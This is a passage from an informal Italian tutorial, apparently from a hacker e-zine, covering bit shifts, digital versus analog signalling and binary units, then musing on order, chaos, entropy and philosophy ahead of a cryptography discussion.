abbrevia come SHL (SHift | | Left) | | oppure SHR (SHift Right), esempio: | | | | SHL 01101000, 2 = 10100000 | | SHR 11010101, 4 = 00001101 | | | | Da notare una cosa: il Rotate lo usate SOLO ED ESCLUSIVAMENTE quando la | | vostra | | sequenza di bit deve avere dimensioni fisse, ad esempio in un registro del | | processore (16 o 32 bit) oppure in un byte (8 bit) o qualsiasi caso in cui | | la | | lunghezza della sequenza non può cambiare. Lo Shift invece può essere usato | | anche nel caso che la sequenza possa cambiare dimensioni, in questo caso se | | è | | uno Shift Right non fate altro che eliminare le ultime n cifre, se invece è | | uno | | Shift Left aggiungete a destra n zeri: | | | | SHL 01101000, 2 = 0110100000 | | SHR 11010101, 4 = 1101 | | | | Ora, se osservate bene vedrete che matematicamente tutto ciò ha un | | significato: | | con lo SHL in pratica abbiamo aggiunto dei bit low-end alla sequenza, cioè | | abbiamo in pratica moltiplicato il numero per una potenza di 2. Se Shiftiamo | | a | | sinistra un numero di n posizioni, matematicamente significa che lo | | moltiplichiamo per 2^n. Discorso opposto per lo Shift Right: togliendo i bit | | low-end lo abbiamo in pratica diviso (eliminando i decimali) per 2^n. | | Ricordate | | tutto ciò se si presentasse il bisogno di moltiplicare o dividere un numero | | per | | un numero che è un esponenziale in base 2, poichè effettuare uno Shift è | | estremamente più semplice e veloce che implementare un algoritmo di | | moltiplicazione bit-per-bit. | | | | | | ============================= | | *** UTILIZZO DEL DIGITALE *** | | ============================= | | Visto che in binario si usano solo 0 e 1, possiamo pensare che ogni volta | | che | | facciamo una domanda che ammette solo due risposte possibili (Vero o Falso, | | SI | | o NO...) ad un elaboratore elettronico, questo potrebbe tranquillamente | | risponderci con 1 (Vero, SI, Acceso...) oppure 0 (Falso, NO, Spento...). | | Quindi | | qualsiasi "VALORE BOOLEANO" (cioè un'informazione che può assumere due | | valori | | soltanto) può essere rappresentata da un computer, ed eventualmente | | trasmessa | | via cavo, via radio o tramite qualsiasi altro mezzo all'utente, per mezzo di | | due stati: presenza anche solo parziale di segnale elettrico (1, cioè Vero), | | oppure assenza totale di segnale (0, cioè Falso). | | Pensate ad una macchina che risponda alle domande dell'utente tramite una | | lampadina: se la lampadina non si accende la risposta sarà NO, se invece si | | accende (indipendentemente dalla luminosità, colore e altri parametri) la | | risposta sarà SI. Il problema è che questo tipo di informazioni cioè SI e NO | | sono raramente utili, spesso si ha bisogno di una risposta più completa, | | tipo | | quanto fa 4 * 4, che giorno è oggi, etc... Per rispondere a questo tipo di | | domande bisognerebbe prendere in considerazione altri parametri, tipo | | assegnare | | ad ogni tonalità di colore della lampadina un numero da 1 a 31 e alla sua | | luminosità 12 valori che rappresentano i 12 mesi, in questo modo ad esempio | | potrebbe fornirci la data. | | Ma notiamo che così è facile sbagliarsi, perchè tra una tonalità di colore e | | un'altra ce ne sono sempre infinite altre, cioè tra il rosso e il giallo ci | | sono | | infinite tonalità di arancione, tra un livello di luminosità e un altro ci | | sono | | infiniti intermedi, tra un fischio grave e un fischio acuto ci sono infinite | | frequenze sonore in mezzo, siamo cioè di fronte ad una FUNZIONE CONTINUA, un | | po' | | come quando dicevamo che in Q tra due numeri ce n'è sempre un altro. Questo | | tipo | | di trasferimento delle informazioni si dice ANALOGICO. | | Ciò per noi rappresenta un problema: come facciamo a codificare in binario | | infiniti valori se possiamo utilizzare solo dei BIT, cioè cifre che assumono | | valore 0 e 1? Semplice, introduciamo un nuovo parametro che è il TEMPO. | | Abbiamo già visto che qualsiasi numero può essere scritto in forma binaria | | tramite una sequenza di bit. Se volessimo far rispondere alla macchina di | | prima | | tramite la lampadina quanto fa 4 * 4 dovremmo innanzitutto "accordarci" | | sulla | | FREQUENZA dei segnali, cioè si dice che dovremmo SINCRONIZZARCI sulla stessa | | frequenza, in modo che la macchina emetta segnali a intervalli regolari | | negli | | stessi istanti in cui noi siamo preparati a riceverli (nel computer questo | | compito spetta al CLOCK, che è una parte della CPU che "scandisce" il tempo | | come | | un'orologio). A questo punto la lampadina si accenderà o spegnerà a | | intervalli | | regolari secondo il clock in modo da rappresentare la sequenza di bit del | | risultato. Ma utilizzando dei PROTOCOLLI di comunicazione adeguati, potremmo | | rappresentare in questo modo non solo numeri, ma ogni tipo di informazione: | | un | | protocollo infatti non fa altro in pratica che convertire qualsiasi tipo | | d'informazione (testo, suoni, immagini) in forma numerica, in modo che poi | | possa essere rappresentato in forma binaria. Questo tipo di trasferimento | | delle | | informazioni si dice DIGITALE. | | | | | | [Vantaggi del digitale] | | Ma a questo punto potreste chiedervi: qual'è il vantaggio nell'usare il | | digitale invece dell'analogico? | | | | <lettore> Già, POTREMMO anche chiedercelo... | | | | In effetti dovrete ammettere che in termini di "ingombro" delle informazioni | | si | | perde molto: per rappresentare il numero 347 in decimale servono solo tre | | simboli, mentre per rappresentarlo in binario ne servono 9 (101011011). Il | | punto è proprio questo: il sistema digitale è estremamente sconveniente in | | termini di velocità ed ingombro, ed è per questo che la nostra memoria (che | | lavora, potremmo dire, "in analogico") contiene miliardi di volte le | | informazioni contenute in tutti gli hard-disk del mondo, ed il nostro | | cervello | | è ESTREMAMENTE più veloce del più potente processore mai costruito dall'uomo | | (a | | parte per i calcoli matematici, per i quali il sistema binario è | | specializzato, | | ma tenete conto che mentre noi facciamo mentalmente 2 + 2, in realtà | | svolgiamo | | CONTEMPORANEAMENTE ad esso milioni di altre istruzioni). E allora perchè | | usare | | il digitale? | | | | Prendiamo l'alfabeto Morse, che è il classico esempio di comunicazione | | digitale. | | Ora, immaginate di essere precipitati con un aereo in un'isola del Pacifico | | a | | causa della colluttazione avvenuta a bordo tra voi e un talebano | | allegramente | | imbottito di C4 (che siete riusciti a scaraventare in mare prima che | | esplodesse, | | sia talebano che C4...). Il pilota è riuscito in un'atterraggio di fortuna, | | ma | | l'aereo è semidisintegrato, l'isola è deserta e la zona è spazzata da una | | violenta tempesta tropicale. Dovete chiamare i soccorsi con la radio di | | bordo, | | ma OVVIAMENTE le trasmissioni sono super-disturbate a causa del temporale. | | Avete due scelte: o parlate alla radio (voce umana: sistema analogico), | | oppure | | trasmettete via Morse (impulsi: digitale). Al che dite: "miii... qui c'è il | | manualetto della ******** su come usare il codice morse, ma sai che rottura! | | Perchè mai dovrei usare il morse se c'ho sotto le mani una radio | | super-satellitare e forse fatta con tecnologia aliena da milioni di | | bigliettoni?!". Semplice. Chi ca**o di medium spiritico pensate che | | capirebbe | | questo messaggio?: | | | | "Aiu *CRRRRR* mo preci *BZZZZZZZ* su un'i *WUOOOOINNNN* rta. Mand | | *CRRRBUZZZZZ* corsi!" | | | | Se invece comunicaste tramite Morse, è estremamente difficile che il vostro | | messaggio non venga compreso, perchè per trasformare un impulso in una pausa | | o | | viceversa le interferenze dovrebbero essere troppo forti. Certo, ci | | mettereste di | | più a comporlo, ma alla fine arriverebbe comunque! La differenza tra una | | linea | | telefonica analogica e una digitale è che la seconda non è disturbata da | | tempeste | | magnetiche o campi di interferenza vari. In un computer la modifica di anche | | solo | | un bit di informazione può avere effetti devastanti, è per questo che si usa | | il | | sistema binario. | | | | | | [Unità di misura binarie] | | Le metto tanto per completezza... :P | | | | unità base binaria: 1 BIT ("b" minuscola, 1 o 0) | | 4 Bit: 1 NIBBLE (da 0 a 15, poco usato) | | 8 Bit: 1 BYTE ("B" maiuscola, da 0 a 255, unità di base nell'informatica | | generale) | | 2 Bytes : 1 WORD ("W", 16 bit, da 0 a 65535) | | 4 Bytes : 1 DOUBLEWORD ("DW", 32 bit, da 0 a 4 miliardi e passa) | | 1024 Bytes : 1 KILOBYTE ("KB") | | 1024 Kilobytes : 1 MEGABYTE ("MB") | | 1024 Megabytes : 1 GIGABYTE ("GB") | | 1024 Gigabytes : 1 TERABYTE ("TB") | | | | Da notare che in decimale i suffissi "Kilo", "Mega", "Giga", etc... indicano | | un | | fattore di 1000 cioè di 10^3, mentre in binario indicano un fattore di 1024 | | (2^10). Quanto ai Terabyte, coll'immondo sviluppo dell'informatica non | | tarderanno | | certo molto ad apparire nella vita quotidiana dello smanettone... | | | | | | Questo capitolo è finito, tanto non c'era molto da dire (e comunque dovreste | | saperne molto più di quanto possa insegnarvi io :PPP). Le cose importanti | | che | | dovete ricordarvi sono principalmente due: gli operatori logici | | (specialmente lo | | Xor e il Rotate) e il fatto che ogni tipo di informazione può essere | | codificata | | in binario, quel discorso infatti lo riprenderemo con la Teoria | | dell'Informazione | | al capitolo 5. Ricordatevi anche che dire "messaggio" non è equivalente a | | dire | | "informazione" e non solo per il fatto che un messaggio può non avere nessun | | significato (in questo caso come vedremo si può spesso ricondurre ad una | | informazione troppo difficile da estrapolare), ma perchè sono due cose | | diverse: | | il "messaggio" è il mezzo attraverso il quale l'informazione si trasmette. | | E infine un'ultima cosa: ricordate che in logica il contrario di "nero" non | | è | | "bianco", bensì "non nero", alias "NOT nero". Questo concetto è un po' duro | | da | | accettare, ma è molto importante. | | +-----------------------------------------------------------------+ | | |ORDINE, CAOS & ENTROPIA | | | | . . . . . .*----------------------------------------------------+ | | |Capitolo 4 / ...nella vita una sola certezza ho trovato: che finisce... | | +-----------* | | | | Perchè la filosofia? | | | | <lettore> ma perchè questo inizia così ogni capitolo? | | | | Perchè fa più phatos :PPP | | | | <lettore> vabbè, ma che c'entra la filosofia? M'hai già fatto na'capa tanto | | con | | Platone & related, sarebbe mica meglio cominciare a parlà di | | crittografia x caso?... | | | | Certo, "sarebbe"! Ma poi quando andremo a dire ad esempio che la lingua | | inglese | | ha 1.3 bits di entropia per carattere quanti di voi capiranno ESATTAMENTE | | che | | significa? | | I capitoli trattati finora servivano principalmente a tre scopi. Primo: dare | | a | | tutti, anche agli ignorantoni :P , le basi e la terminologia adeguate per | | proseguire. Secondo: di tutti gli strumenti e le conoscenze già possedute, | | ripassare quelle che ci serviranno di più in seguito in modo da "caricarle | | nella | | cache". Terzo: fornire strumenti abbastanza "specializzati" del campo (non | | so | | quanti tra di voi sapevano già da prima cos'è il Test di Fermat...). Questo | | capitolo invece serve principalmente a "focalizzare" l'attenzione su cose | | che | | probabilmente già sapevate, ma sulle quali probabilmente non vi siete mai | | fermati a riflettere. E non perchè non ve ne freghi una mazza, ma perchè | | sono | | concetti che si crede comunemente già scontati. Ma visto che noi siamo più | | bastardi dentro di San Tommaso, non accontentiamoci di quel che ci dice il | | Grande Fratello e prepariamoci a scendere fin giù nelle profondità infernali | | del Caos!... | | | | | | ================================ | | *** DEFINIZIONI COMUNI E NON *** | | ================================ | | Se voi prendeste un campione di persone e gli chiedeste di darvi una | | definizione così su due piedi di ordine, caos ed entropia, ecco più o | | meno quel che vi sentireste dire: | | | | CAOS: "è l'assenza di ordine, un bordello in cui non ci capisci niente" | | | | ORDINE: "uhm, beh... E' quando c'è un qualcosa che segue una certa | | relazione logica costante e che quindi puoi capire" (assumiamo che | | i campioni intervistati siano di un certo livello culturale... :PPP) | | | | ENTROPIA: pareri contrastanti, le risposte più frequenti sono: "Boh?", | | oppure: | | "E' la Madama Morte, uomo! Morte e Dannazione! Morirete tuttiii! | | Uahahahahahah!!!", o anche: "Te entropia lo dici a tu' sorella!" | | e, nel migliore dei casi: "Semplice, l'entropia è il caos! Ma dove | | vivi?!" | | | | Uhmmm... mi sa che domattina vado a comprarmi quel famoso bonsai di | | plastica. | | Ah, no aspetta, ho un'idea! Eheheh, visto che c'ho l'enciclopedia kazzuta | | della ******** chiediamo a lei, no? Vediamo... | | | | CAOS: "termine con il quale si indica generalmente la natura globale dei | | sistemi complessi. Lo studio del caos ha origini relativamente recenti | | e costituisce un'attività interdisciplinare [...]. Nelle situazioni | | apparentemente più complesse e irregolari sono state rilevate | | sorprendenti regolarità grazie all'impiego di teorie non tradizionali | | (p.e. catastrofi, frattali ecc.). | | Difficilmente definibile, lo studio del caos può comunque essere | | considerato studio dei processi anzichè degli stati, il tentativo di | | superare il determinismo (ancorchè statistico) della fisica | | contemporanea, | | determinismo ancora molto rigido e soprattutto a livello macroscopico. | | [...]" | | | | Azz... "difficilmente definibile"? Se la ******** mi dice "difficilmente | | definibile" dev'essere qualcosa di davvero oscuro! Comunque mi sa proprio di | | figata (meno l'ultima parte che non c'ho capito una mazza)! Mah, ora | | vediamo "Ordine"... | | | | ORDINE: solo definizioni relative alla matematica che non ci interessano. | | | | Pork... Vabbè, allora passiamo ad "Entropia"... | | | | ENTROPIA: Arggghhh! Due colonne di roba!!! | | "Grandezza termodinamica che esprime la tendenza dei sistemi | | chiusi e | | termicamente isolati a evolvere verso uno stato di equilibrio | | termodinamico. [...] Si definisce entropia di uno stato | | termodinamico | | A di un sistema l'integrale: | | | | S(A) = §(ª,0)ðQ/T | | | | dove 0 è uno stato di riferimento al quale viene attribuita | | convenzionalmente entropia nulla (per i solidi cristallini lo | | stato 0 | | si identifica con lo zero assoluto, come afferma il terzo | | principio | | della termodinamica). [...] | | Essendo l'universo termodinamico un sistema isolato, ovvero per il | | quale sono impossibili scambi di calore, per esso in una | | trasformazione aperta, sarà sempre: | | | | ^S(univ.) = 0 (trasformazione reversibile) | | ^S(univ.) > 0 (trasformazione irreversibile) | | | | e in ciò sta l'enunciato alternativo di Clausius del secondo | | principio | | della termodinamica, che, tenendo conto che i processi spontanei | | che | | avvengono in natura nell'universo sono sempre irreversibili, | | afferma: | | «L'entropia dell'universo è in continuo aumento». [...] | | Nei processi irreversibili, per i quali ^S(univ.) > 0, risulta: | | | | ^S(a) > -^S(s) | | | | ovvero la variazione di entropia dell'ambiente esterno risulta | | maggiore di quella che si registra in un processo reversibile. | | Questo | | significa che nell'ambiente esterno resta una traccia dovuta | | all'irreversibilità della trasformazione, traccia che solitamente | | si | | manifesta con una dissipazione di calore dovuta agli attriti, | | causa | | principale di irreversibilità. Le precedenti considerazioni | | consentono | | l'individuazione di una grandezza fisica, per appunto l'entropia, | | la | | cui variazione è strettamente legata al carattere reversibile o | | meno di | | una trasformazione, ovvero consente di individuare nell'entropia | | un | | indice dell'energia degradata (ovvero non più utilizzabile per | | compiere | | lavoro) in un processo termodinamico. Un aumento dell'entropia di | | un | | sistema è indice della diminuita capacità dello stesso a compiere | | lavoro. | | Un'altra interpretazione dell'entropia è come indice del disordine | | microscopico di un sistema; un aumento di entropia è indice del | | passaggio del sistema verso stati di maggiore disordine [...]. | | Definendo la probabilità termodinamica W come il numero di stati | | dinamici (microscopici) corrispondenti a un dato stato | | termodinamico | | (macroscopico), risulta la seguente equazione di Boltzmann: | | | | S(W) = k ln(W) | | | | dove k è la costante di Boltzmann. Tale equazione precisa la | | direzione in cui avvengono i processi spontanei che si verificano | | in | | un sistema isolato, processi che fanno evolvere il sistema verso | | stati più probabili [...]. | | | | | | Allora... calma, niente panico, una cosa per volta... | | | | <lettore> MA CALMA STO' KAZZO! Te ti sei fuso il cervello da piccolo in un | | tokamak! Adesso spiega, se hai il coraggio: 1) che cazzo c'entra | | stà | | roba con la crittografia, 2) con che perverso Hex Editor dovrei | | decifrare quei simboli che non so che significano e neanche voglio | | saperlo, ma soprattutto... ma SOPRATTUTTO... 3) CHE CAZZO C'ENTRA | | CON | | LA FILOSOFIA SECONDO TEEE?! | | | | | | ================================================= | | *** RIFLESSIONE: LA STORIA DI QUESTO ARTICOLO *** | | ================================================= | | | | <lettore> ahhh... Perfetto! Di bene in meglio! Sìsì, perfetto davvero!!! | | | | Abbiate pazienza, sto trascorrendo uno dei miei frequenti periodi di crisi | | esistenziale... | | Volevo solo dire una cosa: prima di cominciare a scrivere l'articolo mi sono | | fatto una "scaletta" da seguire in modo da non dimenticarmi alcune cose | | importanti. A un certo punto mi trovai a dover decidere anche la struttura | | di | | questo capitolo. Premetto che ero in stato confusionale da fancazzismo | | (lunga | | storia...), situazione che anche se capita raramente detesto con tutte le | | mie | | forze, perchè mi sembra quasi di sentire il tic-tac delle lancette ogni | | qualvolta non trovo niente di costruttivo (o DISTRUTTIVO...) da fare, ma | | OVVIAMENTE anche questa è un'altra storia... | | Fatto sta che ho cominciato a fissare alcuni punti da seguire nella stesura, | | e | | ho continuato, ho continuato... Mi sono fermato quando mi sono | | improvvisamente | | accorto che avevo già quasi sovrappensiero riempito DUE PAGINE di roba che | | spaziava dall'ateismo - alla biologia - al "culto del cadavere" - a Matrix - | | al senso della vita - fino alla fine dell'universo... Ed erano tutte | | stronzate | | che magari non c'entravano nulla ma che mi erano venute in mente lì su due | | piedi! Poi c'ho pensato meglio e ho visto che in fondo non erano stronzate, | | anzi | | avevano addirittura un filo logico. Il fatto è che mi sono reso conto che | | l'argomento è troppo vasto e troppo complesso per essere trattato qui. E | | comunque avremmo potuto continuare a parlare dell'argomento per anni senza | | arrivare a nulla: capire a fondo il significato e l'essenza di cose come | | Caos ed | | Entropia significherebbe... capire il senso della vita! Se noi esseri umani | | potessimo farlo, tutte quelle risposte che ci poniamo dalla notte dei tempi | | avrebbero una risposta oppure perderebbero ogni importanza, comunque sia non | | ci | | sarebbero più domande a cui varrebbe la pena rispondere e come già detto al | | cap 2 | | questa NON E' una visione dell'esistenza che condivido o che reputo anche | | solo | | possibile (come la stragrande maggioranza di voi, credo). L'unica cosa che | | potremmo fare per tentare di avvicinarsi un po' di più a questi concetti è | | il | | dialogo: dovremmo TUTTI cominciare a scambiarci idee ed opinioni, in quanto | | in | | questo campo un ritardato mentale può apportare lo stesso contributo di un | | laureato. Verrebbe fuori un dibattito che non avrebbe mai termine: noi | | moriremmo | | e i nostri figli continuerebbero il dibattito al posto nostro, i millenni | | passerebbero, il genere umano si evolverebbe sempre di più avvicinandosi | | sempre di | | più alla Verità... senza mai afferrarla. | | Di questo tipo di ricerca del sapere si occupa la Filosofia, sin dall'inizio | | i | | filosofi fanno proprio questo: dialogano. Normalmente una persona | | interessata alla | | ricerca del senso della vita o di altre cosette metafisiche reagisce a | | questo | | desiderio in tre modi possibili: | | | | 1) Meditazione e distacco dalla realtà. Il mondo è un'inganno dei sensi, lo | | studiare il mondo non avrebbe senso. E noi siamo figli del mondo, | | imperfetti e | | disturbati dalle cose materiali, non possiamo contare neanche su noi | | stessi per | | arrivare alla verità. L'unica via è la fuga: distacchiamoci dal mondo, | | distacchiamoci perfino dai nostri pensieri... Il Nulla non è Nulla, bensì | | Luce: | | nel niente totale ritroveremo l'Illuminazione e l'Armonia col Dio | | Universo. | | Discipline che si appoggiano a questo metodo sono numerose religioni | | orientali | | quali Zen e Taoismo. | | | | 2) Ricerca scientifica. Per quanto possa apparire evidente che l'Universo | | potrebbe | | essere una ingegnosa gabbia per le nostre menti (vedi Matrix), la dura | | realtà è | | che questo è l'unico appiglio che abbiamo per conoscere la logica con cui | | noi | | stessi tentiamo di conoscerci. Sappiamo già che potremo sbagliare e | | sbaglieremo: | | bene, vorrà dire che impareremo dai nostri errori. Sappiamo già che è una | | battaglia persa in partenza poichè non sarebbe logico tentare con la | | logica di | | conoscere TUTTE le regole del gioco. Non importa, ormai non possiamo | | fermarci: è | | una droga per noi, oppure una benedizione, fatto sta che è l'unica | | ragione che | | abbiamo di vivere. Persino da un punto di vista strettamente religioso | | non | | avrebbe senso continuare a vivere e a soffrire in un mondo imperfetto una | | volta | | che noi stessi diventassimo perfetti. Questa è una visione razionalistica | | del | | mondo, se voi tendeste di più all'empirismo potreste anche argomentare | | che il | | fatto che la scienza è la giusta via ce l'abbiamo quotidianamente davanti | | agli | | occhi osservando come le conoscenze ci abbiano culturalmente arricchito e | | reso | | più potenti. La base della scienza è, come abbiamo già detto, la | | matematica, che | | è la Scienza Prima dello studio del Mondo. | | | | 3) Ricerca filosofica e umanistica. Se la matematica è la Scienza Prima | | dello | | studio del Mondo, la Filosofia è la Scienza Prima dello studio di Noi | | Stessi. | | Come possiamo noi avere la presunzione di trovare la Giusta Via se non | | riusciamo | | neanche a capire come "funzioniamo"? Prima di trovare un metodo che ci | | consenta | | di rispondere alle molte domande che attanagliano la nostra esistenza, | | dobbiamo | | innanzitutto capire CHI SIAMO. E per capire chi o cosa siamo non possiamo | | sfuggire da noi stessi, nè basarci sui sensi, troppo legati ad una realtà | | troppo | | facilmente fuorviante, ma possiamo contare solo su di noi. Questo è il | | principio | | del Cogito Ergo Sum, col quale Cartesio fece nascere la filosofia moderna | | che | | spostò il suo campo di studio dall'oggetto al soggetto. E questa è una | | cosa dura | | da accettare, perchè ci sbatte in faccia la cruda verità: NOI SIAMO SOLI. | | Dobbiamo avere la forza di studiare noi stessi e di essere autonomi, di | | affrontare | | le nostre paure e di non sentirci isolati in mezzo al buio. Tutto il | | resto può | | tradirci ed essere manipolato ma noi, oh, noi no! Noi non vorremmo mai il | | male di | | noi stessi, ciò che noi pensiamo non è un'illusione proprio perchè lo | | pensiamo: | | noi Siamo perchè Pensiamo. Ma se abbiamo ancora un barlume di fiducia nel | | prossimo | | (cosa che non tutti hanno), possiamo almeno concederci di dialogare e di | | studiare | | la storia: chissà che nelle parole di un ubriaco non possiamo trovare un | | altro | | indizio verso la meta o che scoprissimo che in passato altri hanno fatto | | gli | | stessi errori che noi stiamo per commettere ora fermandoci così in tempo? | | Sì, ma | | se fosse una trappola? Se tutto tentasse invece di DEPISTARCI? Beh, | | allora l'unica | | accortezza che dovremmo avere sarebbe quella di non farci influenzare, ma | | vedete, | | anche questo significa aver fiducia di sè stessi! E comunque ne varrebbe | | lo stesso | | la pena per fare esattamente il contrario di quello che dovremmo essere | | spinti a | | fare, no? Filosofia e discipline umanistiche studiano l'uomo secondo | | questi | | princìpi. | | | | Come già ci ha detto la ********, la scienza convenzionale si trova in | | qualche modo | | in difficoltà nel maneggiare le definizioni di ordine, caos ed entropia, | | infatti | | l'approccio che io avevo tentato all'inizio era sbagliato: seguire una | | sequenza | | connessa ed ordinata non ci porterebbe da nessuna parte. E allora, tantopiù | | che | | parliamo di Caos :) stavolta ho deciso di improvvisare: in questo capitolo | | (che | | accorcierò abominevolmente visto anche il tempo che mi rimane...) NON | | SEGUIRO' | | nessun "sommario", se il tutto dovesse rivelarsi confuso sappiate che ciò E' | | NELLE | | MIE INTENZIONI, e che se ad un certo punto vi sentiste disorientati, ebbene | | sarò | | riuscito nel mio intento ;) , questo argomento è più facile da, non dico | | capirlo, ma | | intuirlo per flashback che studiarselo per definizioni. | | | | <premessa> | | Io NON SONO uno di quei trippati che hanno tatuati sul corpo vari simboli di | | Caos o | | frattali e che si riempono la bocca di parole che neanche conoscono. E NON | | VADO in | | giro per i giardini pubblici a predicare l'Armageddon alle coppiette e ai | | bambini. | | Tengo inoltre a precisare che la mia risata è ASSOLUTAMENTE normale e non | | suona come | | un satanico "MUAAHAHAHAAAHHH". Per finire, TOGLIETEVI SUBITO DALLA TESTA CHE | | CAOS ED | | ENTROPIA SIANO SINONIMI! | | </premessa> | | | | | | [Chiavi di interpretazione] | | Da ora in avanti nelle mie affermazioni partirò da quattro presupposti: | | | | 1) Che la Logica sia, come strumento, totalmente affidabile. Alcune persone | | la | | pensano diversamente, ma io credo che mettere in dubbio che 2 + 2 fa 4 | | non sia | | conveniente: se partiamo dal presupposto che la logica possa essere | | manipolata e | | sviata vuol dire che saremmo assolutamente inermi nel formulare qualsiasi | | ragionamento, PERSINO che la logica possa essere manipolata e sviata! E | | se anche | | fosse, non avremmo comunque strumenti per giungere da nessuna parte, | | quindi una | | direzione varrebbe l'altra! Se invece la logica funzionasse, SOLAMENTE la | | via del | | ragionamento logico condurrebbe da qualche parte. Nel dubbio, sceglieremo | | proprio | | questa strada; non è fiducia, soltanto un rischio calcolato. Questa | | visione del | | mondo è detta PANLOGISMO ("tutto è logica"). | | | | 2) Che una visione razionalistica dell'universo sia più obiettiva e | | conveniente di | | una empiristica. Questo solo perchè in questo campo non disponiamo di | | basi di | | riferimento materiali e univoche su cui fondare delle osservazioni | | sperimentali. | | | | 3) Che questo mondo sia così incomprensibile a noi perchè non ci appartiene, | | in | | quanto risultato della Creazione da parte di una qualche forma di Volontà | | Superiore. In parole povere: che esista un Dio. Non per forza una qualche | | divinità specifica a cui ci insegnano a credere fin da piccoli per | | intimorirci con | | la minaccia dell'Inferno (non sono cattolico), bensì un Puro Essere, una | | forma | | senziente così elevata da risultarci incomprensibile ed infigurabile, | | quindi del | | tutto invisibile. Disquisizioni morali ed ideologiche a parte, la cosa è | | estremamente conveniente: dal punto di vista razionale, un ateo si trova | | sempre in | | enorme difficoltà nel rispondere alle domande di senso rispetto ad un | | credente; ci | | sono cose a cui è "ipotizzabile" (occhio, non "conoscibile"...) una | | risposta | | soltanto se ammettiamo questo punto. | | | | 4) Che ogni forma di vita sulla Terra, dalle alghe ai vertebrati, presenti | | delle | | "peculiarità" che possono derivare esclusivamente da un'abilità senziente | | innata | | ed indipendente dal mondo materiale. Che esista cioè un'ANIMA, la quale è | | comune | | ad ogni vivente. Badate che ammettere ciò significa porre un uomo ed un | | batterio | | sullo stesso piano dal punto di vista morale, ma d'altro canto sarebbe | | secondo me | | illogico e presuntuoso pensare che l'uomo sia un animale così | | profondamente | | diverso dagli altri. Questo punto trova, o almeno ha trovato finora, | | anche una | | prova sperimentale che dopo andremo a considerare. | | | | Se non prendessimo per buoni i precedenti punti, tutte le considerazioni che | | faremo | | da qui in poi vi accorgerete che non reggerebbero. Tengo a ricordare ancora | | una volta | | che io non ho intenzione di convincere nessuno e che NON FACCIO proselitismo | | religioso. | | | | | | | | ======================= | | *** COS'E' IL CAOS? *** | | ======================= | | | | Rispondere che il Caos è "assenza di Ordine" non risolverebbe il problema. | | Facciamo | | prima a fare degli esempi. Guardate bene queste due sequenze di numeri: | | | | A) 1 2 3 4 5 6 7 8 9 0 | | | | B) 5 2 3 6 9 8 7 4 1 0 | | | | Quale delle due è la più ordinata? Saremmo tentati di rispondere "la prima", | | perchè | | ha una trama che riusciamo ad assimilare meglio: "aggiungi sempre 1". Se | | proviamo a | | ragionarci su, ci accorgiamo poi che (siccome lo zero è in coda e non | | all'inizio), | | la relazione non è proprio di questo tipo, e dobbiamo masturbarci | | mentalmente con le | | operazioni modulari: la relazione è ("aggiungi sempre 1 a partire da 1") Mod | | 10. | | Questo già complica un po' le cose e la rende leggermente più "caotica" ai | | nostri | | occhi, ricordate sempre che per avere un buon ordinamento è sempre meglio | | partire da | | 0 che da 1. Ma fate attenzione: cosa ho detto? | | | | <Zer0> ...la rende leggermente più "caotica" ai nostri occhi... | | | | Sì, credo sia giusto. Ma PERCHE' la rende più caotica? Come facciamo a | | dirlo? | | Semplice: PERCHE' NE ABBIAMO AUMENTATO LA COMPLESSITA'. Però siccome | | riusciamo ancora, | | seppur con una difficoltà leggermente maggiore, ad individuare la logica | | della | | sequenza, diremo ancora che la prima è ordinata è la seconda no. Ma ne siamo | | proprio | | sicuri? Non so quanti di voi hanno visto a colpo d'occhio la relazione che | | c'è nella | | seconda. Provate a comporre quella sequenza sul Numeric Block della vostra | | tastiera: | | | | 7 8 9 7__8__9 | | | | | | 4 5 6 --> 4 5 6 | | | | | | | 1 2 3 1 2__3 | | | | | 0 0 | | | | La sequenza è una spirale. Un altro esempio: | | | | A) 1 2 2 3 3 4 4 5 5 6 6 7 7 8 8 9 9 10 10 | | | | B) 3 1 12 25 2187 10 52 37 1162261467 22 116 51 | | | | Sicuramente la prima è la più ordinata: i numeri interi, ripetuti due volte, | | a | | partire da 1 incrementando. Eh no, mica è così facile! Come mai l'1 non è | | ripetuto? | | Questa piccolezza fa aumentare di parecchio il "caos" della sequenza, perchè | | diventa: | | "i numeri interi, ripetuti due volte (a eccezione dell'1 che è ripetuto una | | sola | | volta), a partire da 1 incrementando". Se non troviamo un metodo più | | semplice per | | definirla, la prima sequenza non è poi così ordinata, ma sempre meglio della | | seconda, | | che è totalmente caotica. Sicuri sicuri? Invece anche la seconda ha una | | relazione, | | anche se è abbastanza complicata: alla sequenza dei primi numeri primi... | | | | 1 2 3 5 7 11 13 17 19 23 29 31 ... | | | | indicandoli con "x" si applicano, ciclicamente, i seguenti passaggi: | | | | 1) 3^x | | 2) x - 1 | | 3) x * 4 | | 4) x + 20 | | | | e da ciò viene fuori la nostra sequenza. Queste considerazioni ci fanno | | capire un | | concetto fondamentale: | | | | IL CAOS DERIVA DALL'INCAPACITA' DELL'UOMO DI COMPRENDERE RELAZIONI | | COMPLESSE. | | | | Ovvero: noi chiamiamo "caos" ciò che non riusciamo a comprendere. Prima che | | l'uomo | | arrivasse a capire le complicate congiunzioni astrali che regolano i corpi | | celesti | | del sistema solare, le eclissi erano viste con timore (perchè incomprese) e | | sembravano verificarsi ad intervalli del tutto irregolari. Poi l'uomo capì, | | e | | improvvisamente ciò che da sempre era considerato caos venne addirittura | | trascritto | | in formule matematiche. | | | | Questo è cruciale, attenti al passaggio. Al giorno d'oggi ci si rende conto | | che | | trovare qualcosa di realmente caotico nell'universo è alquanto difficile: | | coll'evolversi della tecnologia riusciamo a prevedere sempre più cose che | | prima | | reputavamo aldilà di ogni comprensione, dal tempo atmosferico al verificarsi | | dei | | terremoti, e sempre con maggior accuratezza. I giochi di strategia tengono | | impegnato | | il giocatore solo per poco tempo, poichè piano piano egli riesce a capire | | l'algoritmo | | che fa muovere l'intelligenza artificiale del gioco, e riesce a prevenirlo. | | | | Molte persone (specialmente i trippati di cui sopra...) vedono il Caos come | | una | | qualche forza misteriosa che pervade l'universo e che si manifesta appunto | | nei | | fenomeni a variabile complessa (lèggi: "caotici"), tipo il susseguirsi dei | | numeri | | primi sulla linea dei numeri, il moto disordinato delle particelle di un gas | | in un | | contenitore o anche le fluttuazioni registrate nei campi gravitazionali, | | magnetici e | | quant'altro. Ora, la domanda è: ma di queste cose non dovrebbe "occuparsi" | | un dio se | | esiste? La verità è esattamente questa: tali persone fanno del caos una | | RELIGIONE. E | | ciò principalmente, io credo, per distaccarsi dalla massa e avere qualcosa | | di | | impressionante e plateale da dire in pubblico per far colpo sulle ragazze. | | La prova di | | questo esibizionismo si ha quando 